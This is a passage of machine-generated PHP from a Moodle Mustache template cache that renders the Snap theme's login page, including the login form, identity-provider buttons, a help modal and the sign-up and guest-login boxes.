$value = $context->find('str');
$buffer .= $this->sectionB15dee8971ab065bf4d6402b60d852be($context, $indent, $value);
$buffer .= '</button>
';
$buffer .= $indent . ' <a class="small btn btn-link btn-block" href="';
$value = $this->resolveValue($context->find('forgotpasswordurl'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section6aa95a7e496f5307b40bee7262bd9321($context, $indent, $value);
$buffer .= '</a>
';
$buffer .= $indent . ' </form>
';
$buffer .= $indent . ' </div>
';
// 'hasidentityproviders' section
$value = $context->find('hasidentityproviders');
$buffer .= $this->sectionC8fbbc6d3de2018c761af1a5ffcb271b($context, $indent, $value);
$buffer .= $indent . '
';
$buffer .= $indent . '</div>
';
$buffer .= $indent . '
';
// 'hasinstructions' section
$value = $context->find('hasinstructions');
$buffer .= $this->section1ed41a2d11db8e3eeb7dab3b3808134d($context, $indent, $value);
// 'cansignup' section
$value = $context->find('cansignup');
$buffer .= $this->section1964c3e64426aadf1825924f92acd4d0($context, $indent, $value);
$buffer .= $indent . '
';
// 'canloginasguest' section
$value = $context->find('canloginasguest');
$buffer .= $this->section2cb06afb5d16bd230c23a2acf04db440($context, $indent, $value);
$buffer .= $indent . '<span class="snap-log-in-more snap-log-in-loading-spinner"></span>
';
$buffer .= $indent . '
';
// 'js' section
$value = $context->find('js');
$buffer .= $this->section8ff00f330c8591daeafe93f6afaf5eaa($context, $indent, $value);
$buffer .= $indent . '
';
return $buffer;
}
private function section0486d2ac7b52c0571959db837de5270f(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<h2 class="snap-logo-sitename text-center">{{sitename}}</h2>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <h2 class="snap-logo-sitename text-center">';
$value = $this->resolveValue($context->find('sitename'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '</h2>
';
$context->pop();
}
}
return $buffer;
}
private function sectionDb759266208bef41124cc7b308cf8f42(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<div class="loginerrors">
<a href="#" id="loginerrormessage" class="accesshide">{{error}}</a>
<div class="alert alert-danger" role="alert">{{error}}</div>
</div>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <div class="loginerrors">
';
$buffer .= $indent . ' <a href="#" id="loginerrormessage" class="accesshide">';
$value = $this->resolveValue($context->find('error'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '</a>
';
$buffer .= $indent . ' <div class="alert alert-danger" role="alert">';
$value = $this->resolveValue($context->find('error'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '</div>
';
$buffer .= $indent . ' </div>
';
$context->pop();
}
}
return $buffer;
}
private function section27e9419edc620e0e1872d2a6521f1533(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' username ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' username ';
$context->pop();
}
}
return $buffer;
}
private function section22141a6741c33f407ef6171795337eec(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' usernameemail ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' usernameemail ';
$context->pop();
}
}
return $buffer;
}
private function sectionFecc44d36b1d26bcf00eabac676276bd(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
{{#str}} usernameemail {{/str}}
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' ';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section22141a6741c33f407ef6171795337eec($context, $indent, $value);
$buffer .= '
';
$context->pop();
}
}
return $buffer;
}
private function sectionFea69428308e6a733cfeebf7670bdc01(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'username';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'username';
$context->pop();
}
}
return $buffer;
}
private function section983b6843353faa33a83a9ec3069863a3(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'usernameemail';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'usernameemail';
$context->pop();
}
}
return $buffer;
}
private function section1cfee3b9563446af7cf73b3dabe83fe5(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '{{#str}}usernameemail{{/str}}';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
// 'str' section
$value = $context->find('str');
$buffer .= $this->section983b6843353faa33a83a9ec3069863a3($context, $indent, $value);
$context->pop();
}
}
return $buffer;
}
private function section4a2b2050243eb4dff6ce2b11212bbbcb(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '{{^canloginbyemail}}{{#str}}username{{/str}}{{/canloginbyemail}}{{#canloginbyemail}}{{#str}}usernameemail{{/str}}{{/canloginbyemail}}';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
// 'canloginbyemail' inverted section
$value = $context->find('canloginbyemail');
if (empty($value)) {
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionFea69428308e6a733cfeebf7670bdc01($context, $indent, $value);
}
// 'canloginbyemail' section
$value = $context->find('canloginbyemail');
$buffer .= $this->section1cfee3b9563446af7cf73b3dabe83fe5($context, $indent, $value);
$context->pop();
}
}
return $buffer;
}
private function sectionE056be559d6d01a9bd2bf6f760f8e3e3(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' password ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' password ';
$context->pop();
}
}
return $buffer;
}
private function section4e50d9b1632f258e8c10be3e2ed759be(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'password';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'password';
$context->pop();
}
}
return $buffer;
}
private function section1e0c7d916e3932461ff09cf034c710f8(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '{{#str}}password{{/str}}';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
// 'str' section
$value = $context->find('str');
$buffer .= $this->section4e50d9b1632f258e8c10be3e2ed759be($context, $indent, $value);
$context->pop();
}
}
return $buffer;
}
private function sectionB15dee8971ab065bf4d6402b60d852be(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'login';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'login';
$context->pop();
}
}
return $buffer;
}
private function section6aa95a7e496f5307b40bee7262bd9321(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'forgotten';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'forgotten';
$context->pop();
}
}
return $buffer;
}
private function sectionE384f0e9b1fcc321a1a78dba1d43f63f(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' potentialidps, auth ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' potentialidps, auth ';
$context->pop();
}
}
return $buffer;
}
private function section5fc38b71bab296fb0efdd08834d72587(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '{{name}}';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$value = $this->resolveValue($context->find('name'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$context->pop();
}
}
return $buffer;
}
private function section0a7b5fc76aa4e5986dec1e094e4eb51d(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<img class="auth-icon" src="{{iconurl}}" onerror="this.style.display=\'none\'"/>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <img class="auth-icon" src="';
$value = $this->resolveValue($context->find('iconurl'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" onerror="this.style.display=\'none\'"/>
';
$context->pop();
}
}
return $buffer;
}
private function section5985136443d4317aa1c2b657b8f036cc(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' /i/permissions, core ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' /i/permissions, core ';
$context->pop();
}
}
return $buffer;
}
private function sectionF0d5f93c9d8de1ea38d11403069332fa(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<div class="potentialidp">
<a href="{{url}}" class="btn btn-primary btn-block" title={{#quote}}{{name}}{{/quote}}>
{{#iconurl}}
<img class="auth-icon" src="{{iconurl}}" onerror="this.style.display=\'none\'"/>
{{/iconurl}}
{{^iconurl}}
{{#pix}} /i/permissions, core {{/pix}}
{{/iconurl}}
{{name}}
</a>
</div>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <div class="potentialidp">
';
$buffer .= $indent . ' <a href="';
$value = $this->resolveValue($context->find('url'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" class="btn btn-primary btn-block" title=';
// 'quote' section
$value = $context->find('quote');
$buffer .= $this->section5fc38b71bab296fb0efdd08834d72587($context, $indent, $value);
$buffer .= '>
';
// 'iconurl' section
$value = $context->find('iconurl');
$buffer .= $this->section0a7b5fc76aa4e5986dec1e094e4eb51d($context, $indent, $value);
// 'iconurl' inverted section
$value = $context->find('iconurl');
if (empty($value)) {
$buffer .= $indent . ' ';
// 'pix' section
$value = $context->find('pix');
$buffer .= $this->section5985136443d4317aa1c2b657b8f036cc($context, $indent, $value);
$buffer .= '
';
}
$buffer .= $indent . ' ';
$value = $this->resolveValue($context->find('name'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '
';
$buffer .= $indent . ' </a>
';
$buffer .= $indent . ' </div>
';
$context->pop();
}
}
return $buffer;
}
private function sectionC8fbbc6d3de2018c761af1a5ffcb271b(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<div class="snap-login snap-login-option snap-login-cell" id="alt-login">
<h5>{{#str}} potentialidps, auth {{/str}}</h5>
<div class="potentialidplist">
{{#identityproviders}}
<div class="potentialidp">
<a href="{{url}}" class="btn btn-primary btn-block" title={{#quote}}{{name}}{{/quote}}>
{{#iconurl}}
<img class="auth-icon" src="{{iconurl}}" onerror="this.style.display=\'none\'"/>
{{/iconurl}}
{{^iconurl}}
{{#pix}} /i/permissions, core {{/pix}}
{{/iconurl}}
{{name}}
</a>
</div>
{{/identityproviders}}
</div>
</div>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <div class="snap-login snap-login-option snap-login-cell" id="alt-login">
';
$buffer .= $indent . ' <h5>';
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionE384f0e9b1fcc321a1a78dba1d43f63f($context, $indent, $value);
$buffer .= '</h5>
';
$buffer .= $indent . ' <div class="potentialidplist">
';
// 'identityproviders' section
$value = $context->find('identityproviders');
$buffer .= $this->sectionF0d5f93c9d8de1ea38d11403069332fa($context, $indent, $value);
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' </div>
';
$context->pop();
}
}
return $buffer;
}
private function section31b35200530620d18a8896098b070602(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'helpwithlogin, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'helpwithlogin, theme_snap';
$context->pop();
}
}
return $buffer;
}
private function section1e09b71e9fcfd1f6d7fa6e2d493f7aaa(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'help, theme_snap, {{#str}}helpwithlogin, theme_snap{{/str}} ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'help, theme_snap, ';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section31b35200530620d18a8896098b070602($context, $indent, $value);
$buffer .= ' ';
$context->pop();
}
}
return $buffer;
}
private function section7a20f6a0c1e5f01649c33230170638b5(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'closebuttontitle';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'closebuttontitle';
$context->pop();
}
}
return $buffer;
}
private function section1ed41a2d11db8e3eeb7dab3b3808134d(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<div class="js-only snap-login snap-login-box ">
<div class="snap-login-instructions">
<a class="btn btn-primary btn-block iconhelp" href="#" data-toggle="modal" data-target="#login-help-modal">
{{#str}}helpwithlogin, theme_snap{{/str}} {{#pix}}help, theme_snap, {{#str}}helpwithlogin, theme_snap{{/str}} {{/pix}}
</a>
<!-- Modal -->
<div class="modal fade" id="login-help-modal" tabindex="-1" role="dialog" aria-labelledby="login-help-modal-title" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="{{#str}}closebuttontitle{{/str}}">
<span aria-hidden="true">×</span>
</button>
<h5 class="modal-title" id="login-help-modal-title">{{#str}}helpwithlogin, theme_snap{{/str}}</h5>
</div>
<div class="modal-body summary">
<br>
{{{instructions}}}
</div>
</div>
</div>
</div>
</div>
</div>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <div class="js-only snap-login snap-login-box ">
';
$buffer .= $indent . ' <div class="snap-login-instructions">
';
$buffer .= $indent . ' <a class="btn btn-primary btn-block iconhelp" href="#" data-toggle="modal" data-target="#login-help-modal">
';
$buffer .= $indent . ' ';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section31b35200530620d18a8896098b070602($context, $indent, $value);
$buffer .= ' ';
// 'pix' section
$value = $context->find('pix');
$buffer .= $this->section1e09b71e9fcfd1f6d7fa6e2d493f7aaa($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' </a>
';
$buffer .= $indent . ' <!-- Modal -->
';
$buffer .= $indent . ' <div class="modal fade" id="login-help-modal" tabindex="-1" role="dialog" aria-labelledby="login-help-modal-title" aria-hidden="true">
';
$buffer .= $indent . ' <div class="modal-dialog" role="document">
';
$buffer .= $indent . ' <div class="modal-content">
';
$buffer .= $indent . ' <div class="modal-header">
';
$buffer .= $indent . ' <button type="button" class="close" data-dismiss="modal" aria-label="';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section7a20f6a0c1e5f01649c33230170638b5($context, $indent, $value);
$buffer .= '">
';
$buffer .= $indent . ' <span aria-hidden="true">×</span>
';
$buffer .= $indent . ' </button>
';
$buffer .= $indent . ' <h5 class="modal-title" id="login-help-modal-title">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section31b35200530620d18a8896098b070602($context, $indent, $value);
$buffer .= '</h5>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' <div class="modal-body summary">
';
$buffer .= $indent . ' <br>
';
$buffer .= $indent . ' ';
$value = $this->resolveValue($context->find('instructions'), $context);
$buffer .= $value;
$buffer .= '
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' </div>
';
$context->pop();
}
}
return $buffer;
}
private function sectionB681534bda1faeeb31506c30e72ff16e(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'firsttime';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'firsttime';
$context->pop();
}
}
return $buffer;
}
private function section47f819a53e4575a4e7767be1939ab3bf(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'startsignup';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'startsignup';
$context->pop();
}
}
return $buffer;
}
private function section1964c3e64426aadf1825924f92acd4d0(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<div class="snap-login snap-login-option snap-login-box">
<h5>{{#str}}firsttime{{/str}}</h5>
<p><a class="btn btn-primary btn-block" href="{{signupurl}}">{{#str}}startsignup{{/str}}</a></p>
</div>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <div class="snap-login snap-login-option snap-login-box">
';
$buffer .= $indent . ' <h5>';
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionB681534bda1faeeb31506c30e72ff16e($context, $indent, $value);
$buffer .= '</h5>
';
$buffer .= $indent . ' <p><a class="btn btn-primary btn-block" href="';
$value = $this->resolveValue($context->find('signupurl'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section47f819a53e4575a4e7767be1939ab3bf($context, $indent, $value);
$buffer .= '</a></p>
';
$buffer .= $indent . ' </div>
';
$context->pop();
}
}
return $buffer;
}
private function section93e4b62aaf677bf7878b06c5ac540671(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'someallowguest';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'someallowguest';
$context->pop();
}
}
return $buffer;
}
private function section017c9686023b74877131737c59ff1162(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'loginguest';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'loginguest';
$context->pop();
}
}
return $buffer;
}
private function section2cb06afb5d16bd230c23a2acf04db440(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<div class="snap-login snap-login-option snap-login-box">
<h5>{{#str}}someallowguest{{/str}}</h5>
<form action="{{loginurl}}" method="post" id="guestlogin">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="password" value="<PASSWORD>" />
<button class="btn btn-secondary btn-block" type="submit">{{#str}}loginguest{{/str}}</button>
</form>
</div>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <div class="snap-login snap-login-option snap-login-box">
';
$buffer .= $indent . ' <h5>';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section93e4b62aaf677bf7878b06c5ac540671($context, $indent, $value);
$buffer .= '</h5>
';
$buffer .= $indent . ' <form action="';
$value = $this->resolveValue($context->find('loginurl'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" method="post" id="guestlogin">
';
$buffer .= $indent . ' <input type="hidden" name="username" value="guest" />
';
$buffer .= $indent . ' <input type="hidden" name="password" value="<PASSWORD>" />
';
$buffer .= $indent . ' <button class="btn btn-secondary btn-block" type="submit">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section017c9686023b74877131737c59ff1162($context, $indent, $value);
$buffer .= '</button>
';
$buffer .= $indent . ' </form>
';
$buffer .= $indent . ' </div>
';
$context->pop();
}
}
return $buffer;
}
private function section87d4cc44cef23dbc2d4678a71be62fe6(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
$(function() {
M.util.focus_login_error(Y);
});
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' $(function() {
';
$buffer .= $indent . ' M.util.focus_login_error(Y);
';
$buffer .= $indent . ' });
';
$context->pop();
}
}
return $buffer;
}
private function sectionF5611ddd71cb2a428d666e18c4d5ac2e(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
$(function() {
M.util.focus_login_form(Y);
});
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' $(function() {
';
$buffer .= $indent . ' M.util.focus_login_form(Y);
';
$buffer .= $indent . ' });
';
$context->pop();
}
}
return $buffer;
}
private function section8ff00f330c8591daeafe93f6afaf5eaa(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
require([\'jquery\', \'core/yui\'], function($, Y) {
{{#error}}
$(function() {
M.util.focus_login_error(Y);
});
{{/error}}
{{^error}}
{{#autofocusform}}
$(function() {
M.util.focus_login_form(Y);
});
{{/autofocusform}}
{{/error}}
});
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' require([\'jquery\', \'core/yui\'], function($, Y) {
';
// 'error' section
$value = $context->find('error');
$buffer .= $this->section87d4cc44cef23dbc2d4678a71be62fe6($context, $indent, $value);
// 'error' inverted section
$value = $context->find('error');
if (empty($value)) {
// 'autofocusform' section
$value = $context->find('autofocusform');
$buffer .= $this->sectionF5611ddd71cb2a428d666e18c4d5ac2e($context, $indent, $value);
}
$buffer .= $indent . ' });
';
$buffer .= $indent . '
';
$buffer .= $indent . '
';
$buffer .= $indent . '
';
$context->pop();
}
}
return $buffer;
}
}
<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_4067297aaf6f07893836b0a77d959666.php
<?php
